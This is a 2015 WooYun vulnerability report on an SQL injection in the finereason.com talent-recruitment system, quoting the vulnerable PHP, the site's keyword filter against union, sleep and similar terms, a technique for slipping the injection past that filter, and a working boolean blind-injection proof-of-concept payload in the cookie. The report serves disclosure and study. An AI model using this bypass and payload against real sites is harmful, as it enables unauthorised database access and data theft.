当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-091369

漏洞标题:嘉缘人才系统SQL注入漏洞

相关厂商:finereason.com

漏洞作者: 路人甲

提交时间:2015-01-15 10:27

修复时间:2015-04-02 10:23

公开时间:2015-04-02 10:23

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:5

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-15: 细节已通知厂商并且等待厂商处理中
2015-01-20: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放
2015-03-16: 细节向核心白帽子及相关领域专家公开
2015-03-26: 细节向普通白帽子公开
2015-04-05: 细节向实习白帽子公开
2015-04-02: 细节向公众公开

简要描述:

RT

详细说明:

在common/comment.php中

require(dirname(__FILE__).'/../config.inc.php');
!isset($db)&&$db=connectdb();
require_once(FR_ROOT.'/inc/paylog.inc.php');
if(!$cfg['comment']=='1'){echo "<script language=JavaScript>{alert('本站未开启评论功能!');window.close();}</script>";exit;}
$submit=isset($_POST['Submit'])?$_POST['Submit']:'';
if($submit){
if($cfg['comment']){
if($anonymous){
$c_username ='匿名网友';
}else{
$user_login=_getcookie('user_login');
if($user_login){
$pjrname=$user_login;
}
$c_username=$pjrname;
$sql="select m_id,m_pwd,m_typeid,m_groupid,m_name,m_loginip,m_logindate,m_email from {$cfg['tb_pre']}member where m_login='$pjrname'";
$rs= $db->get_one($sql);


这里从cookie中获取了$user_login的值,然后带入到了后面的sql语句中执行,如果cookie没有进行过滤的话,那么就有可能产生注入,那先看下_getcookie的方法到底是什么:

function _getcookie($var) {
global $cfg;
$var = $cfg['cookie_pre'].$var;
return isset($_COOKIE[$var]) ? $_COOKIE[$var] : '';
}


发现其只是从$_COOKIE中获取相应的数据,那些再看下有没有对$_COOKIE进行过滤:

foreach(Array('_GET','_POST','_COOKIE') as $_request){
foreach($$_request as $_k => $_v) $_k{0} != '_' && ${$_k} = is_array($_v)?_runmagicquotes($_v):cleartags(_runmagicquotes($_v));
//foreach($$_request as $_k => $_v) ${$_k} = _runmagicquotes($_v);
}
function _runmagicquotes(&$svar){
if(!get_magic_quotes_gpc()){
if( is_array($svar) ){
foreach($svar as $_k => $_v) $svar[$_k] = _runmagicquotes($_v);
}else{
$svar = addslashes($svar);
}
}
return $svar;
}


从上面的方法中可以看到,其只是对转换后的变量就行的转义,但并没有对$_GET,$_POST,$_COOKIE本身的数据做转义,那刚才上面的sql注入就可以形成了。
但是程序对整个sql语句做了防注入处理:

function checksql($dbstr,$querytype='select'){
$clean = '';
$old_pos = 0;
$pos = -1;
//普通语句,直接过滤特殊语法
if($querytype=='select'){
$nastr = "/[^0-9a-z@\._-]{1,}(union|sleep|benchmark|load_file|outfile)[^0-9a-z@\.-]{1,}/i";
if(preg_match($nastr,$dbstr)){
log_write($dbstr,'sql');
showmsg('SafeError:10001', 'javascript:;');
exit();
}
}
//完整的SQL检查
while (true){
$pos = strpos($dbstr, '\'', $pos + 1);
if ($pos === false){
break;
}
$clean .= substr($dbstr, $old_pos, $pos - $old_pos);
while (true){
$pos1 = strpos($dbstr, '\'', $pos + 1);
$pos2 = strpos($dbstr, '\\', $pos + 1);
if ($pos1 === false){
break;
}
elseif ($pos2 == false || $pos2 > $pos1){
$pos = $pos1;
break;
}
$pos = $pos2 + 1;
}
$clean .= '$s$';
$old_pos = $pos + 1;
}
$clean .= substr($dbstr, $old_pos);
$clean = trim(strtolower(preg_replace(array('~\s+~s' ), array(' '), $clean)));
if (strpos($clean, 'union') !== false && preg_match('~(^|[^a-z])union($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, '/*') > 2 || strpos($clean, '--') !== false || strpos($clean, '#') !== false){
$fail = true;
}
elseif (strpos($clean, 'sleep') !== false && preg_match('~(^|[^a-z])sleep($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, 'benchmark') !== false && preg_match('~(^|[^a-z])benchmark($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, 'load_file') !== false && preg_match('~(^|[^a-z])load_file($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (strpos($clean, 'into outfile') !== false && preg_match('~(^|[^a-z])into\s+outfile($|[^[a-z])~s', $clean) != 0){
$fail = true;
}
elseif (preg_match('~\([^)]*?select~s', $clean) != 0){
$fail = true;
}
if (!empty($fail)){
log_write($dbstr,'sql');
showmsg('SafeError:10002', 'javascript:;');exit;
}
else
{
return $dbstr;
}
}


首先是对整个sql语句做了过滤union 等特殊字符操作,这样就union,时间盲注等都没法使用了。程序又阻止了报错,报错法也不能使用。 那看下能否使用bool型盲注:
回到漏洞点的地方,有一段这样的代码

if($rs){
$typeid=$rs["m_typeid"];$name=$rs['m_name'];$loginip=$rs['m_loginip'];$logindate=$rs['m_logindate'];
if($rs['m_groupid']!=''){
$rsg=find_value_arr('g_id',$rs['m_groupid'],sysgroup($typeid));$Gintegral=explode(",",$rsg['g_integral']);
if($typeid==1){$integral=$Gintegral[6];$integral2=$Gintegral[9];}else{$integral=$Gintegral[5];$integral2=$Gintegral[7];}
}else{
$integral=$integral2=0;
}
if($pjrpass){
if($rs['m_pwd']==md5($pjrpass)){
$pwd=md5($pjrpass);
$db ->query("update {$cfg['tb_pre']}member set m_loginnum=m_loginnum+1,m_logindate=NOW(),m_loginip='$ip' where m_login='$pjrname'");
_setcookie('user_login',$pjrname,3600*24);
_setcookie('user_pass',$pwd,3600*24);
_setcookie('user_type',usertype($typeid),3600*24);
_setcookie('user_name',$name,3600*24);
_setcookie('user_loginip',$loginip,3600*24);
_setcookie('user_logindate',$logindate,3600*24);

}else{
echo "<script language=JavaScript>{alert('用户名密码错误,请重新输入!');window.close();}</script>";exit;
}
}
}


如果查询到有数据时,会判断密码是否正确。我们可以控制结果是否存在,可以控制程序是否进入密码判断,这样就可以实现盲注了。
但是还得绕过之前的sql语句检查。检查语句中第一步没有检查select 所以我们仍然可以用。 后面做了一个替换''之间内容的操作,利用这个操作 我们可以轻而易举的绕过
比如:
where a=@`1` and (注入语句) #'
会被替换成 where a=@`'$XXX'
这样我们的注入语句就不会被后面的程序检查了,直接绕过了检测.
最终的POC:
' and m_login=@`'` or 1=1 and ord(mid(user(),1,1))=113 limit 0,1 #

BaiduHi_2015-1-12_14-40-15.png


BaiduHi_2015-1-12_14-40-33.png


当把POC中的113改成114以后:

BaiduHi_2015-1-12_14-40-53.png


漏洞证明:

最终的POC:
' and m_login=@`'` or 1=1 and ord(mid(user(),1,1))=113 limit 0,1 #

BaiduHi_2015-1-12_14-40-15.png


BaiduHi_2015-1-12_14-40-33.png


当把POC中的113改成114以后:

BaiduHi_2015-1-12_14-40-53.png

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-04-02 10:23

厂商回复:

最新状态:

暂无